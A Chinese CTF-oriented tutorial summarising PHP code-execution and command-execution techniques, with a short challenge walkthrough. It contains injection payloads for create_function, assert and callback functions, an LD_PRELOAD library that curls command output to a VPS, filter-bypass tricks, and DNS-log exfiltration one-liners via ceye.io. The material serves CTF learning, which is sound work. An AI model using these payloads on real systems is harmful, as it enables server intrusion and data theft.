运行 命令
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
命令执行与代码执行的小结
阅读量 83731 | 评论 4 稿费 300
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-10-20 09:30:56
前记
总结了一下在ctf里经常遇到的命令执行和代码执行的利用点。
代码执行
执行代码的几种方式
${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
${}执行代码
${php代码}
${phpinfo()};
eval()执行代码
eval('echo 2;');
assert()
普通调用
//?a=phpinfo()
assert函数支持动态调用
//?a=phpinfo()
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。
在7.0.29版本之后发现的奇怪的一点
//phpinfo()无法执行成功
//成功执行phpinfo()
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace 执行一个正则表达式的搜索和替换。
执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
create_function()
说明
string create_function ( string $args , string $code )
该函数用来创建匿名函数。
这个函数的实现大概是这样的
$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}
$b(yang);
niming('yang');
第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码
$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();
上面这种方法是最直接的,接下来看一点有趣的。
自己写的小示例
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');
这里直接传入phpinfo是不行的,构造的payload
?id=2;}phpinfo();/*
传入后,代码如下
function niming($name){
echo $name.编号2;
}phpinfo();/*
}
这样就执行了代码,再给出网上找的一个例子。
构造的payload如下
?sort_by=”]);}phpinfo();/*
在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下
";
echo "==============================";
echo "
";
$f1 = create_function('$a',$str2);
echo "
";
echo "==============================";
?>
纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。
本应该挺容易的事儿,但是改来改去花了好久。最终的结果便是开头写的示例。
array_map()
官方文档
array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
漏洞演示
//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
call_user_func()/call_user_func_array()
和array_map()函数挺像的。
官方文档
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
示例
call_user_func()
// ?a=phpinfo();
call_user_func(assert,$_GET['a']);
call_user_func_array()
//?a=phpinfo();
$array[0] = $_GET['a'];
call_user_func_array("assert",$array);
array_filter()
官方文档
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
示例
$array[0] = $_GET['a'];
array_filter($array,'assert');
usort()/uasort()
usrot官方文档
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
shell_1
只有在php5.6以上环境才可使用
详解
关于...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。
shell_2
下面这种写法只在php5.6版本以下可以使用。
// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');
命令执行
常见命令执行函数
system()
passthru()
exec()
shell_exec()
`反引号
ob_start()
mail函数+LD_PRELOAD执行系统命令
system()
➜ ~ php -r "system('whoami');"
yang
passthru()
➜ ~ php -r "passthru('whoami');"
yang
exec()
➜ ~ php -r "echo exec('whoami');"
yang%
shell_exec()
➜ ~ php -r "echo shell_exec('whoami');"
yang
`反引号
➜ ~ php -r "echo @`whoami`;"
yang%
ob_start()
官方文档
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
使用
//输出www-data
mail函数+LD_PRELOAD执行系统命令
思路
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。
利用
a.c
#include
#include
#include
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
编译
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
mail.php
监听vps的4123端口,访问mail.php。
ctf绕过的小tip
空格
在bash下,可以用以下字符代替空格
< ${IFS} $IFS$9 %09 测试 ubuntu@VM-0-8-ubuntu:~/shell$ cat<1.txt abc ubuntu@VM-0-8-ubuntu:~/shell$ cat${IFS}1.txt abc ubuntu@VM-0-8-ubuntu:~/shell$ cat$IFS$91.txt abc %09测试
//http://127.0.0.1/45.php?cmd=cat%091.txt
//输出abc
敏感字符绕过
这里假设过滤了cat
利用变量绕过
ubuntu@VM-0-8-ubuntu:~/shell$ a=c;b=a;c=t;
ubuntu@VM-0-8-ubuntu:~/shell$ $a$b$c 1.txt
abc
利用base编码绕过
ubuntu@VM-0-8-ubuntu:~/shell$ echo 'cat' | base64
Y2F0Cg==
ubuntu@VM-0-8-ubuntu:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt
abc
处理无回显的命令执行
1.利用自己的vps
在vps上使用nc监听
➜ ~ nc -lnvp 4567
Listening on [0.0.0.0] (family 0, port 4567)
后台代码
paylaod
curl http://vps_ip/?id=`whoami`
收到回显
1
2.利用ceye平台
平台的payload
记录在http request中
题目地址
http://192.168.10.55/
后台源码
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
效果
图1
2
记录在dns query中
简单介绍
DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
举个例子
在注册ceye.io之后会分配一个三级域名。就是**.ceye.io。
ping `whoami`.******.ceye.io
上面这条命令最终在ping的时候ping的是“root.**.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)
所以这种方法的使用必须有ping命令。
真题解析
题目存在robots.txt文件,访问发现两个文件
index.txt
where_is_flag.php
index.php代码
","0.0",$ip);
system("ping ".$ip);
可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。
payload
ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx
最终的url
http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
在dns query中查看
图2
3
可以看到文件的内容是
由此得知flag.php的位置,继续打印flag.php的内容
获取flag的url
http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
图三
4
得到flag。
后记
从开始学打ctf到现在见了挺多的代码执行和命令执行,这次算比较完整的总结了一下,感觉对于我这种萌新还是挺友好的。欢迎师傅们指出不对的地方。
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/162128
安全客 - 有思想的安全新媒体
CTF Web安全
Yang1k 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论
发表你的评论吧
昵称
熊猫烧香作者
换一个
|评论列表
kubo · 2018-11-01 15:50:56 回复
大佬总结的很详细,这次安恒月赛就用到了,收藏。
情报溯源 · 2018-10-23 19:34:35 回复
跟着大佬学习学习。
ИЭΛЭS 7ΙΛЭ · 2018-10-22 10:48:48 回复
过滤cat和其他ELF关键字,用?通配去遍历就好了。 /???/c??${IFS}f* webshell包含tmp文件方式,参照ph师傅这篇: http://www.freebuf.com/articles/web/186298.html 其中选择器小bug跟bash版本有关系,php的内联的正则选择器,可以直接使用楼上payload。单独bash下使用需要更换payload比如 ls /???/????????[¼-ā] 用同类型的字符集来选取[0-9aA]的内容。 d+[aāáǎàAÅÄÃÂÁÀ] PS:回复不能发图真是。。哎。。辣鸡安全客 :P
Yang1k · 本文作者 · 2018-10-23 15:26:44 回复
哎呀,这个通配符方式给忘记写了,我的锅。之前安全客也有一篇文章介绍过这个方式的。多谢7师傅提醒。
Yang1k
成长ing.
文章
2
粉丝
0
TA的文章
SQL注入的两个小Trick与总结
2018-10-31 11:30:30
命令执行与代码执行的小结
2018-10-20 09:30:56
输入关键字搜索内容
相关文章
MetInfo最新版本(6.1.3)爆出SSRF漏洞
2018安恒杯11月赛-Web&Crypto题解
2018年“柏鹭杯”大学生网络空间安全精英赛报名启动啦!快来参赛吧~
通过一道pwn题探究_IO_FILE结构攻击利用
LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析
对文件上传的一些思考和总结
2018湖湘杯复赛-WriteUp
热门推荐
文章目录
前记
代码执行
执行代码的几种方式
命令执行
常见命令执行函数
ctf绕过的小tip
处理无回显的命令执行
后记
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank
文章评论